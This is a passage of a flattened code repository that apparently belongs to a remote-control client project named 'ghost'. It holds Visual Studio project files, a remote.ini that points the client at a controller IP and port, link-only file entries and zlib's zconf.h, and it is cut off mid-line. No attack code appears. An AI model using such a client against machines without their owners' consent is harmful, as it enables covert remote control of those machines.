D3DRMANIMATION_POSITION 32 151 | typedef DWORD D3DRMLOADOPTIONS; 152 | #define D3DRMLOAD_FROMFILE 0x00L 153 | #define D3DRMLOAD_FROMRESOURCE 0x01L 154 | #define D3DRMLOAD_FROMMEMORY 0x02L 155 | #define D3DRMLOAD_FROMSTREAM 0x04L 156 | #define D3DRMLOAD_BYNAME 0x10L 157 | #define D3DRMLOAD_BYPOSITION 0x20L 158 | #define D3DRMLOAD_BYGUID 0x40L 159 | #define D3DRMLOAD_FIRST 0x80L 160 | #define D3DRMLOAD_INSTANCEBYREFERENCE 0x100L 161 | #define D3DRMLOAD_INSTANCEBYCOPYING 0x200L 162 | typedef struct _D3DRMLOADRESOURCE { 163 | HMODULE hModule; 164 | LPCTSTR lpName; 165 | LPCTSTR lpType; 166 | } D3DRMLOADRESOURCE, *LPD3DRMLOADRESOURCE; 167 | typedef struct _D3DRMLOADMEMORY { 168 | LPVOID lpMemory; 169 | DWORD dSize; 170 | } D3DRMLOADMEMORY, *LPD3DRMLOADMEMORY; 171 | typedef enum _D3DRMUSERVISUALREASON { 172 | D3DRMUSERVISUAL_CANSEE, 173 | D3DRMUSERVISUAL_RENDER 174 | } D3DRMUSERVISUALREASON, *LPD3DRMUSERVISUALREASON; 175 | typedef DWORD D3DRMMAPPING, D3DRMMAPPINGFLAG, *LPD3DRMMAPPING; 176 | static const D3DRMMAPPINGFLAG D3DRMMAP_WRAPU = 1; 177 | static const D3DRMMAPPINGFLAG D3DRMMAP_WRAPV = 2; 178 | static const D3DRMMAPPINGFLAG D3DRMMAP_PERSPCORRECT = 4; 179 | typedef struct _D3DRMVERTEX 180 | { D3DVECTOR position; 181 | D3DVECTOR normal; 182 | D3DVALUE tu, tv; 183 | D3DCOLOR color; 184 | } D3DRMVERTEX, *LPD3DRMVERTEX; 185 | typedef LONG D3DRMGROUPINDEX; 186 | static const D3DRMGROUPINDEX D3DRMGROUP_ALLGROUPS = -1; 187 | extern D3DCOLOR D3DRMAPI D3DRMCreateColorRGB(D3DVALUE,D3DVALUE,D3DVALUE); 188 | extern D3DCOLOR D3DRMAPI D3DRMCreateColorRGBA(D3DVALUE,D3DVALUE,D3DVALUE,D3DVALUE); 189 | extern D3DVALUE D3DRMAPI D3DRMColorGetRed(D3DCOLOR); 190 | extern D3DVALUE D3DRMAPI D3DRMColorGetGreen(D3DCOLOR); 191 | extern D3DVALUE D3DRMAPI D3DRMColorGetBlue(D3DCOLOR); 192 | extern D3DVALUE D3DRMAPI D3DRMColorGetAlpha(D3DCOLOR); 193 | extern LPD3DVECTOR D3DRMAPI D3DRMVectorAdd(LPD3DVECTOR,LPD3DVECTOR,LPD3DVECTOR); 194 | extern LPD3DVECTOR D3DRMAPI D3DRMVectorSubtract(LPD3DVECTOR,LPD3DVECTOR,LPD3DVECTOR); 195 | extern LPD3DVECTOR D3DRMAPI D3DRMVectorReflect(LPD3DVECTOR,LPD3DVECTOR,LPD3DVECTOR); 196 | extern LPD3DVECTOR D3DRMAPI D3DRMVectorCrossProduct(LPD3DVECTOR,LPD3DVECTOR,LPD3DVECTOR); 197 | extern D3DVALUE D3DRMAPI D3DRMVectorDotProduct(LPD3DVECTOR,LPD3DVECTOR); 198 | extern LPD3DVECTOR D3DRMAPI D3DRMVectorNormalize(LPD3DVECTOR); 199 | #define D3DRMVectorNormalise D3DRMVectorNormalize 200 | extern D3DVALUE D3DRMAPI D3DRMVectorModulus(LPD3DVECTOR); 201 | extern LPD3DVECTOR D3DRMAPI D3DRMVectorRotate(LPD3DVECTOR,LPD3DVECTOR,LPD3DVECTOR,D3DVALUE); 202 | extern LPD3DVECTOR D3DRMAPI D3DRMVectorScale(LPD3DVECTOR,LPD3DVECTOR,D3DVALUE); 203 | extern LPD3DVECTOR D3DRMAPI D3DRMVectorRandom(LPD3DVECTOR); 204 | extern LPD3DRMQUATERNION D3DRMAPI D3DRMQuaternionFromRotation(LPD3DRMQUATERNION,LPD3DVECTOR,D3DVALUE); 205 | extern LPD3DRMQUATERNION D3DRMAPI D3DRMQuaternionMultiply(LPD3DRMQUATERNION,LPD3DRMQUATERNION,LPD3DRMQUATERNION); 206 | extern LPD3DRMQUATERNION D3DRMAPI D3DRMQuaternionSlerp(LPD3DRMQUATERNION,LPD3DRMQUATERNION,LPD3DRMQUATERNION,D3DVALUE); 207 | extern void D3DRMAPI D3DRMMatrixFromQuaternion(D3DRMMATRIX4D,LPD3DRMQUATERNION); 208 | #endif 209 | -------------------------------------------------------------------------------- /client/ghost.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | 14 | {3F756E52-23C2-4EE4-A184-37CF788D50A7} 15 | ClientDll 16 | ghost 17 | 8.1 18 | 19 | 20 | 21 | Application 22 | true 23 | v110_xp 24 | MultiByte 25 | false 26 | 27 | 28 | Application 29 | false 30 | v110_xp 31 | true 32 | MultiByte 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | $(Configuration)\ghost 46 | $(WindowsSDK_IncludePath);$(IncludePath) 47 | $(WindowsSDK_LibraryPath_x86);$(LibraryPath) 48 | 49 | 50 | $(Configuration)\ghost 51 | $(WindowsSDK_IncludePath);$(IncludePath) 52 | $(WindowsSDK_LibraryPath_x86);$(LibraryPath) 53 | 54 | 55 | 56 | Level3 57 | Disabled 58 | ./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories) 59 | MultiThreadedDebug 60 | _CONSOLE;ZLIB_WINAPI;%(PreprocessorDefinitions) 61 | true 62 | false 63 | 64 | 65 | true 66 | zlib.lib;%(AdditionalDependencies) 67 | libcmt.lib 68 | 69 | 70 | Console 71 | 72 | 73 | 74 | 75 | Level3 76 | MaxSpeed 77 | true 78 | true 79 | MultiThreaded 80 | ./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories) 81 | _CONSOLE;ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) 82 | true 83 | 84 | 85 | true 86 | true 87 | true 88 | zlib.lib;%(AdditionalDependencies) 89 | /SAFESEH:NO %(AdditionalOptions) 90 | Windows 91 | mainCRTStartup 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | -------------------------------------------------------------------------------- /client/ghost.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 源文件 20 | 21 | 22 | 源文件 23 | 24 | 25 | 源文件 26 | 27 | 28 | 源文件 29 | 30 | 31 | 源文件 32 | 33 | 34 | 源文件 35 | 36 | 37 | 源文件 38 | 39 | 40 | 源文件 41 | 42 | 43 | 源文件 44 | 45 | 46 | 源文件 47 | 48 | 49 | 源文件 50 | 51 | 52 | 源文件 53 | 54 | 55 | 源文件 56 | 57 | 58 | 源文件 59 | 60 | 61 | 源文件 62 | 63 | 64 | 源文件 65 | 66 | 67 | 源文件 68 | 69 | 70 | 源文件 71 | 72 | 73 | 源文件 74 | 75 | 76 | 源文件 77 | 78 | 79 | 源文件 80 | 81 | 82 | 83 | 84 | 头文件 85 | 86 | 87 | 头文件 88 | 89 | 90 | 头文件 91 | 92 | 93 | 头文件 94 | 95 | 96 | 头文件 97 | 98 | 99 | 头文件 100 | 101 | 102 | 头文件 103 | 104 | 105 | 头文件 106 | 107 | 108 | 头文件 109 | 110 | 111 | 头文件 112 | 113 | 114 | 头文件 115 | 116 | 117 | 头文件 118 | 119 | 120 | 头文件 121 | 122 | 123 | 头文件 124 | 125 | 126 | 头文件 127 | 128 | 129 | 头文件 130 | 131 | 132 | 头文件 133 | 134 | 135 | 头文件 136 | 137 | 138 | 头文件 139 | 140 | 141 | 头文件 142 | 143 | 144 | 头文件 145 | 146 | 147 | 头文件 148 | 149 | 150 | 头文件 151 | 152 | 153 | 头文件 154 | 155 | 156 | 头文件 157 | 158 | 159 | 160 | 161 | 资源文件 162 | 163 | 164 | 165 | 166 | 资源文件 167 | 168 | 169 | 170 | 171 | 资源文件 172 | 173 | 174 | 175 | 176 | 资源文件 177 | 178 | 179 | 资源文件 180 | 181 | 182 | -------------------------------------------------------------------------------- /client/ghost.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | WindowsLocalDebugger 5 | 127.0.0.1 6543 6 | 7 | 8 | WindowsLocalDebugger 9 | 127.0.0.1 2356 10 | 11 | -------------------------------------------------------------------------------- /client/ghost_vs2015.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | 14 | {3F756E52-23C2-4EE4-A184-37CF788D50A7} 15 | ClientDll 16 | ghost 17 | 8.1 18 | 19 | 20 | 21 | Application 22 | true 23 | v140_xp 24 | MultiByte 25 | false 26 | 27 | 28 | Application 29 | false 30 | v140_xp 31 | true 32 | MultiByte 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | $(Configuration)\ghost 46 | $(WindowsSDK_IncludePath);$(IncludePath) 47 | $(WindowsSDK_LibraryPath_x86);$(LibraryPath) 48 | 49 | 50 | $(Configuration)\ghost 51 | $(WindowsSDK_IncludePath);$(IncludePath) 52 | $(WindowsSDK_LibraryPath_x86);$(LibraryPath) 53 | 54 | 55 | 56 | Level3 57 | Disabled 58 | ./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories) 59 | MultiThreadedDebug 60 | _CONSOLE;ZLIB_WINAPI;%(PreprocessorDefinitions) 61 | true 62 | false 63 | 64 | 65 | true 66 | zlib.lib;%(AdditionalDependencies) 67 | libcmt.lib 68 | 69 | 70 | Console 71 | 72 | 73 | 74 | 75 | Level3 76 | MaxSpeed 77 | true 78 | true 79 | MultiThreaded 80 | ./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories) 81 | _CONSOLE;ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) 82 | true 83 | 84 | 85 | true 86 | true 87 | true 88 | zlib.lib;%(AdditionalDependencies) 89 | /SAFESEH:NO %(AdditionalOptions) 90 | Windows 91 | mainCRTStartup 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | -------------------------------------------------------------------------------- /client/lz4/lz4.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/lz4/lz4.lib -------------------------------------------------------------------------------- /client/remote.ini: -------------------------------------------------------------------------------- 1 | # used by TestRun 2 | [remote] 3 | ip=192.168.104.250 4 | port=6895 5 | -------------------------------------------------------------------------------- /client/resource.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/resource.h -------------------------------------------------------------------------------- /client/resource1.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/resource1.h -------------------------------------------------------------------------------- /client/test.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/client/test.cpp -------------------------------------------------------------------------------- /client/zconf.h: -------------------------------------------------------------------------------- 1 | /* zconf.h -- configuration of the zlib compression library 2 | * Copyright (C) 1995-2016 Jean-loup Gailly, Mark Adler 3 | * For conditions of distribution and use, see copyright notice in zlib.h 4 | */ 5 | 6 | /* @(#) $Id$ */ 7 | 8 | #ifndef ZCONF_H 9 | #define ZCONF_H 10 | 11 | /* 12 | * If you *really* need a unique prefix for all types and library functions, 13 | * compile with -DZ_PREFIX. The "standard" zlib should be compiled without it. 14 | * Even better than compiling with -DZ_PREFIX would be to use configure to set 15 | * this permanently in zconf.h using "./configure --zprefix". 16 | */ 17 | #ifdef Z_PREFIX /* may be set to #if 1 by ./configure */ 18 | # define Z_PREFIX_SET 19 | 20 | /* all linked symbols and init macros */ 21 | # define _dist_code z__dist_code 22 | # define _length_code z__length_code 23 | # define _tr_align z__tr_align 24 | # define _tr_flush_bits z__tr_flush_bits 25 | # define _tr_flush_block z__tr_flush_block 26 | # define _tr_init z__tr_init 27 | # define _tr_stored_block z__tr_stored_block 28 | # define _tr_tally z__tr_tally 29 | # define adler32 z_adler32 30 | # define adler32_combine z_adler32_combine 31 | # define adler32_combine64 z_adler32_combine64 32 | # define adler32_z z_adler32_z 33 | # ifndef Z_SOLO 34 | # define compress z_compress 35 | # define compress2 z_compress2 36 | # define compressBound z_compressBound 37 | # endif 38 | # define crc32 z_crc32 39 | # define crc32_combine z_crc32_combine 40 | # define crc32_combine64 z_crc32_combine64 41 | # define crc32_z z_crc32_z 42 | # define deflate z_deflate 43 | # define deflateBound z_deflateBound 44 | # define deflateCopy z_deflateCopy 45 | # define deflateEnd z_deflateEnd 46 | # define deflateGetDictionary z_deflateGetDictionary 47 | # define deflateInit z_deflateInit 48 | # define deflateInit2 z_deflateInit2 49 | # define deflateInit2_ z_deflateInit2_ 50 | # define deflateInit_ z_deflateInit_ 51 | # define deflateParams z_deflateParams 52 | # define deflatePending z_deflatePending 53 | # define deflatePrime z_deflatePrime 54 | # define deflateReset z_deflateReset 55 | # define deflateResetKeep z_deflateResetKeep 56 | # define deflateSetDictionary z_deflateSetDictionary 57 | # define deflateSetHeader z_deflateSetHeader 58 | # define deflateTune z_deflateTune 59 | # define deflate_copyright z_deflate_copyright 60 | # define get_crc_table z_get_crc_table 61 | # ifndef Z_SOLO 62 | # define gz_error z_gz_error 63 | # define gz_intmax z_gz_intmax 64 | # define gz_strwinerror z_gz_strwinerror 65 | # define gzbuffer z_gzbuffer 66 | # define gzclearerr z_gzclearerr 67 | # define gzclose z_gzclose 68 | # define gzclose_r z_gzclose_r 69 | # define gzclose_w z_gzclose_w 70 | # define gzdirect z_gzdirect 71 | # define gzdopen z_gzdopen 72 | # define gzeof z_gzeof 73 | # define gzerror z_gzerror 74 | # define gzflush z_gzflush 75 | # define gzfread z_gzfread 76 | # define gzfwrite z_gzfwrite 77 | # define gzgetc z_gzgetc 78 | # define gzgetc_ z_gzgetc_ 79 | # define gzgets z_gzgets 80 | # define gzoffset z_gzoffset 81 | # define gzoffset64 z_gzoffset64 82 | # define gzopen z_gzopen 83 | # define gzopen64 z_gzopen64 84 | # ifdef _WIN32 85 | # define gzopen_w z_gzopen_w 86 | # endif 87 | # define gzprintf z_gzprintf 88 | # define gzputc z_gzputc 89 | # define gzputs z_gzputs 90 | # define gzread z_gzread 91 | # define gzrewind z_gzrewind 92 | # define gzseek z_gzseek 93 | # define gzseek64 z_gzseek64 94 | # define gzsetparams z_gzsetparams 95 | # define gztell z_gztell 96 | # define gztell64 z_gztell64 97 | # define gzungetc z_gzungetc 98 | # define gzvprintf z_gzvprintf 99 | # define gzwrite z_gzwrite 100 | # endif 101 | # define inflate z_inflate 102 | # define inflateBack z_inflateBack 103 | # define inflateBackEnd z_inflateBackEnd 104 | # define inflateBackInit z_inflateBackInit 105 | # define inflateBackInit_ z_inflateBackInit_ 106 | # define inflateCodesUsed z_inflateCodesUsed 107 | # define inflateCopy z_inflateCopy 108 | # define inflateEnd z_inflateEnd 109 | # define inflateGetDictionary z_inflateGetDictionary 110 | # define inflateGetHeader z_inflateGetHeader 111 | # define inflateInit z_inflateInit 112 | # define inflateInit2 z_inflateInit2 113 | # define inflateInit2_ z_inflateInit2_ 114 | # define inflateInit_ z_inflateInit_ 115 | # define inflateMark z_inflateMark 116 | # define inflatePrime z_inflatePrime 117 | # define inflateReset z_inflateReset 118 | # define inflateReset2 z_inflateReset2 119 | # define inflateResetKeep z_inflateResetKeep 120 | # define inflateSetDictionary z_inflateSetDictionary 121 | # define inflateSync z_inflateSync 122 | # define inflateSyncPoint z_inflateSyncPoint 123 | # define inflateUndermine z_inflateUndermine 124 | # define inflateValidate z_inflateValidate 125 | # define inflate_copyright z_inflate_copyright 126 | # define inflate_fast z_inflate_fast 127 | # define inflate_table z_inflate_table 128 | # ifndef Z_SOLO 129 | # define uncompress z_uncompress 130 | # define uncompress2 z_uncompress2 131 | # endif 132 | # define zError z_zError 133 | # ifndef Z_SOLO 134 | # define zcalloc z_zcalloc 135 | # define zcfree z_zcfree 136 | # endif 137 | # define zlibCompileFlags z_zlibCompileFlags 138 | # define zlibVersion z_zlibVersion 139 | 140 | /* all zlib typedefs in zlib.h and zconf.h */ 141 | # define Byte z_Byte 142 | # define Bytef z_Bytef 143 | # define alloc_func z_alloc_func 144 | # define charf z_charf 145 | # define free_func z_free_func 146 | # ifndef Z_SOLO 147 | # define gzFile z_gzFile 148 | # endif 149 | # define gz_header z_gz_header 150 | # define gz_headerp z_gz_headerp 151 | # define in_func z_in_func 152 | # define intf z_intf 153 | # define out_func z_out_func 154 | # define uInt z_uInt 155 | # define uIntf z_uIntf 156 | # define uLong z_uLong 157 | # define uLongf z_uLongf 158 | # define voidp z_voidp 159 | # define voidpc z_voidpc 160 | # define voidpf z_voidpf 161 | 162 | /* all zlib structs in zlib.h and zconf.h */ 163 | # define gz_header_s z_gz_header_s 164 | # define internal_state z_internal_state 165 | 166 | #endif 167 | 168 | #if defined(__MSDOS__) && !defined(MSDOS) 169 | # define MSDOS 170 | #endif 171 | #if (defined(OS_2) || defined(__OS2__)) && !defined(OS2) 172 | # define OS2 173 | #endif 174 | #if defined(_WINDOWS) && !defined(WINDOWS) 175 | # define WINDOWS 176 | #endif 177 | #if defined(_WIN32) || defined(_WIN32_WCE) || defined(__WIN32__) 178 | # ifndef WIN32 179 | # define WIN32 180 | # endif 181 | #endif 182 | #if (defined(MSDOS) || defined(OS2) || defined(WINDOWS)) && !defined(WIN32) 183 | # if !defined(__GNUC__) && !defined(__FLAT__) && !defined(__386__) 184 | # ifndef SYS16BIT 185 | # define SYS16BIT 186 | # endif 187 | # endif 188 | #endif 189 | 190 | /* 191 | * Compile with -DMAXSEG_64K if the alloc function cannot allocate more 192 | * than 64k bytes at a time (needed on systems with 16-bit int). 193 | */ 194 | #ifdef SYS16BIT 195 | # define MAXSEG_64K 196 | #endif 197 | #ifdef MSDOS 198 | # define UNALIGNED_OK 199 | #endif 200 | 201 | #ifdef __STDC_VERSION__ 202 | # ifndef STDC 203 | # define STDC 204 | # endif 205 | # if __STDC_VERSION__ >= 199901L 206 | # ifndef STDC99 207 | # define STDC99 208 | # endif 209 | # endif 210 | #endif 211 | #if !defined(STDC) && (defined(__STDC__) || defined(__cplusplus)) 212 | # define STDC 213 | #endif 214 | #if !defined(STDC) && (defined(__GNUC__) || defined(__BORLANDC__)) 215 | # define STDC 216 | #endif 217 | #if !defined(STDC) && (defined(MSDOS) || defined(WINDOWS) || defined(WIN32)) 218 | # define STDC 219 | #endif 220 | #if !defined(STDC) && (defined(OS2) || defined(__HOS_AIX__)) 221 | # define STDC 222 | #endif 223 | 224 | #if defined(__OS400__) && !defined(STDC) /* iSeries (formerly AS/400). */ 225 | # define STDC 226 | #endif 227 | 228 | #ifndef STDC 229 | # ifndef const /* cannot use !defined(STDC) && !defined(const) on Mac */ 230 | # define const /* note: need a more gentle solution here */ 231 | # endif 232 | #endif 233 | 234 | #if defined(ZLIB_CONST) && !defined(z_const) 235 | # define z_const const 236 | #else 237 | # define z_const 238 | #endif 239 | 240 | #ifdef Z_SOLO 241 | typedef unsigned long z_size_t; 242 | #else 243 | # define z_longlong long long 244 | # if defined(NO_SIZE_T) 245 | typedef unsigned NO_SIZE_T z_size_t; 246 | # elif defined(STDC) 247 | # include 248 | typedef size_t z_size_t; 249 | # else 250 | typedef unsigned long z_size_t; 251 | # endif 252 | # undef z_longlong 253 | #endif 254 | 255 | /* Maximum value for memLevel in deflateInit2 */ 256 | #ifndef MAX_MEM_LEVEL 257 | # ifdef MAXSEG_64K 258 | # define MAX_MEM_LEVEL 8 259 | # else 260 | # define MAX_MEM_LEVEL 9 261 | # endif 262 | #endif 263 | 264 | /* Maximum value for windowBits in deflateInit2 and inflateInit2. 265 | * WARNING: reducing MAX_WBITS makes minigzip unable to extract .gz files 266 | * created by gzip. (Files created by minigzip can still be extracted by 267 | * gzip.) 268 | */ 269 | #ifndef MAX_WBITS 270 | # define MAX_WBITS 15 /* 32K LZ77 window */ 271 | #endif 272 | 273 | /* The memory requirements for deflate are (in bytes): 274 | (1 << (windowBits+2)) + (1 << (memLevel+9)) 275 | that is: 128K for windowBits=15 + 128K for memLevel = 8 (default values) 276 | plus a few kilobytes for small objects. For example, if you want to reduce 277 | the default memory requirements from 256K to 128K, compile with 278 | make CFLAGS="-O -DMAX_WBITS=14 -DMAX_MEM_LEVEL=7" 279 | Of course this will generally degrade compression (there's no free lunch). 280 | 281 | The memory requirements for inflate are (in bytes) 1 << windowBits 282 | that is, 32K for windowBits=15 (default value) plus about 7 kilobytes 283 | for small objects. 284 | */ 285 | 286 | /* Type declarations */ 287 | 288 | #ifndef OF /* function prototypes */ 289 | # ifdef STDC 290 | # define OF(args) args 291 | # else 292 | # define OF(args) () 293 | # endif 294 | #endif 295 | 296 | #ifndef Z_ARG /* function prototypes for stdarg */ 297 | # if defined(STDC) || defined(Z_HAVE_STDARG_H) 298 | # define Z_ARG(args) args 299 | # else 300 | # define Z_ARG(args) () 301 | # endif 302 | #endif 303 | 304 | /* The following definitions for FAR are needed only for MSDOS mixed 305 | * model programming (small or medium model with some far allocations). 306 | * This was tested only with MSC; for other MSDOS compilers you may have 307 | * to define NO_MEMCPY in zutil.h. If you don't need the mixed model, 308 | * just define FAR to be empty. 309 | */ 310 | #ifdef SYS16BIT 311 | # if defined(M_I86SM) || defined(M_I86MM) 312 | /* MSC small or medium model */ 313 | # define SMALL_MEDIUM 314 | # ifdef _MSC_VER 315 | # define FAR _far 316 | # else 317 | # define FAR far 318 | # endif 319 | # endif 320 | # if (defined(__SMALL__) || defined(__MEDIUM__)) 321 | /* Turbo C small or medium model */ 322 | # define SMALL_MEDIUM 323 | # ifdef __BORLANDC__ 324 | # define FAR _far 325 | # else 326 | # define FAR far 327 | # endif 328 | # endif 329 | #endif 330 | 331 | #if defined(WINDOWS) || defined(WIN32) 332 | /* If building or using zlib as a DLL, define ZLIB_DLL. 333 | * This is not mandatory, but it offers a little performance increase. 334 | */ 335 | # ifdef ZLIB_DLL 336 | # if defined(WIN32) && (!defined(__BORLANDC__) || (__BORLANDC__ >= 0x500)) 337 | # ifdef ZLIB_INTERNAL 338 | # define ZEXTERN extern __declspec(dllexport) 339 | # else 340 | # define ZEXTERN extern __declspec(dllimport) 341 | # endif 342 | # endif 343 | # endif /* ZLIB_DLL */ 344 | /* If building or using zlib with the WINAPI/WINAPIV calling convention, 345 | * define ZLIB_WINAPI. 346 | * Caution: the standard ZLIB1.DLL is NOT compiled using ZLIB_WINAPI. 347 | */ 348 | # ifdef ZLIB_WINAPI 349 | # ifdef FAR 350 | # undef FAR 351 | # endif 352 | # include 353 | /* No need for _export, use ZLIB.DEF instead. */ 354 | /* For complete Windows compatibility, use WINAPI, not __stdcall. */ 355 | # define ZEXPORT WINAPI 356 | # ifdef WIN32 357 | # define ZEXPORTVA WINAPIV 358 | # else 359 | # define ZEXPORTVA FAR CDECL 360 | # endif 361 | # endif 362 | #endif 363 | 364 | #if defined (__BEOS__) 365 | # ifdef ZLIB_DLL 366 | # ifdef ZLIB_INTERNAL 367 | # define ZEXPORT __declspec(dllexport) 368 | # define ZEXPORTVA __declspec(dllexport) 369 | # else 370 | # define ZEXPORT __declspec(dllimport) 371 | # define ZEXPORTVA __declspec(dllimport) 372 | # endif 373 | # endif 374 | #endif 375 | 376 | #ifndef ZEXTERN 377 | # define ZEXTERN extern 378 | #endif 379 | #ifndef ZEXPORT 380 | # define ZEXPORT 381 | #endif 382 | #ifndef ZEXPORTVA 383 | # define ZEXPORTVA 384 | #endif 385 | 386 | #ifndef FAR 387 | # define FAR 388 | #endif 389 | 390 | #if !defined(__MACTYPES__) 391 | typedef unsigned char Byte; /* 8 bits */ 392 | #endif 393 | typedef unsigned int uInt; /* 16 bits or more */ 394 | typedef unsigned long uLong; /* 32 bits or more */ 395 | 396 | #ifdef SMALL_MEDIUM 397 | /* Borland C/C++ and some old MSC versions ignore FAR inside typedef */ 398 | # define Bytef Byte FAR 399 | #else 400 | typedef Byte FAR Bytef; 401 | #endif 402 | typedef char FAR charf; 403 | typedef int FAR intf; 404 | typedef uInt FAR uIntf; 405 | typedef uLong FAR uLongf; 406 | 407 | #ifdef STDC 408 | typedef void const *voidpc; 409 | typedef void FAR *voidpf; 410 | typedef void *voidp; 411 | #else 412 | typedef Byte const *voidpc; 413 | typedef Byte FAR *voidpf; 414 | typedef Byte *voidp; 415 | #endif 416 | 417 | #if !defined(Z_U4) && !defined(Z_SOLO) && defined(STDC) 418 | # include 419 | # if (UINT_MAX == 0xffffffffUL) 420 | # define Z_U4 unsigned 421 | # elif (ULONG_MAX == 0xffffffffUL) 422 | # define Z_U4 unsigned long 423 | # elif (USHRT_MAX == 0xffffffffUL) 424 | # define Z_U4 unsigned short 425 | # endif 426 | #endif 427 | 428 | #ifdef Z_U4 429 | typedef Z_U4 z_crc_t; 430 | #else 431 | typedef unsigned long z_crc_t; 432 | #endif 433 | 434 | #ifdef HAVE_UNISTD_H /* may be set to #if 1 by ./configure */ 435 | # define Z_HAVE_UNISTD_H 436 | #endif 437 | 438 | #ifdef HAVE_STDARG_H /* may be set to #if 1 by ./configure */ 439 | # define Z_HAVE_STDARG_H 440 | #endif 441 | 442 | #ifdef STDC 443 | # ifndef Z_SOLO 444 | # include /* for off_t */ 445 | # endif 446 | #endif 447 | 448 | #if defined(STDC) || defined(Z_HAVE_STDARG_H) 449 | # ifndef Z_SOLO 450 | # include /* for va_list */ 451 | # endif 452 | #endif 453 | 454 | #ifdef _WIN32 455 | # ifndef Z_SOLO 456 | # include /* for wchar_t */ 457 | # endif 458 | #endif 459 | 460 | /* a little trick to accommodate both "#define _LARGEFILE64_SOURCE" and 461 | * "#define _LARGEFILE64_SOURCE 1" as requesting 64-bit operations, (even 462 | * though the former does not conform to the LFS document), but considering 463 | * both "#undef _LARGEFILE64_SOURCE" and "#define _LARGEFILE64_SOURCE 0" as 464 | * equivalently requesting no 64-bit operations 465 | */ 466 | #if defined(_LARGEFILE64_SOURCE) && -_LARGEFILE64_SOURCE - -1 == 1 467 | # undef _LARGEFILE64_SOURCE 468 | #endif 469 | 470 | #if defined(__WATCOMC__) && !defined(Z_HAVE_UNISTD_H) 471 | # define Z_HAVE_UNISTD_H 472 | #endif 473 | #ifndef Z_SOLO 474 | # if defined(Z_HAVE_UNISTD_H) || defined(_LARGEFILE64_SOURCE) 475 | # include /* for SEEK_*, off_t, and _LFS64_LARGEFILE */ 476 | # ifdef VMS 477 | # include /* for off_t */ 478 | # endif 479 | # ifndef z_off_t 480 | # define z_off_t off_t 481 | # endif 482 | # endif 483 | #endif 484 | 485 | #if defined(_LFS64_LARGEFILE) && _LFS64_LARGEFILE-0 486 | # define Z_LFS64 487 | #endif 488 | 489 | #if defined(_LARGEFILE64_SOURCE) && defined(Z_LFS64) 490 | # define Z_LARGE64 491 | #endif 492 | 493 | #if defined(_FILE_OFFSET_BITS) && _FILE_OFFSET_BITS-0 == 64 && defined(Z_LFS64) 494 | # define Z_WANT64 495 | #endif 496 | 497 | #if !defined(SEEK_SET) && !defined(Z_SOLO) 498 | # define SEEK_SET 0 /* Seek from beginning of file. */ 499 | # define SEEK_CUR 1 /* Seek from current position. */ 500 | # define SEEK_END 2 /* Set file pointer to EOF plus "offset" */ 501 | #endif 502 | 503 | #ifndef z_off_t 504 | # define z_off_t long 505 | #endif 506 | 507 | #if !defined(_WIN32) && defined(Z_LARGE64) 508 | # define z_off64_t off64_t 509 | #else 510 | # if defined(_WIN32) && !defined(__GNUC__) && !defined(Z_SOLO) 511 | # define z_off64_t __int64 512 | # else 513 | # define z_off64_t z_off_t 514 | # endif 515 | #endif 516 | 517 | /* MVS linker does not support external names larger than 8 bytes */ 518 | #if defined(__MVS__) 519 | #pragma 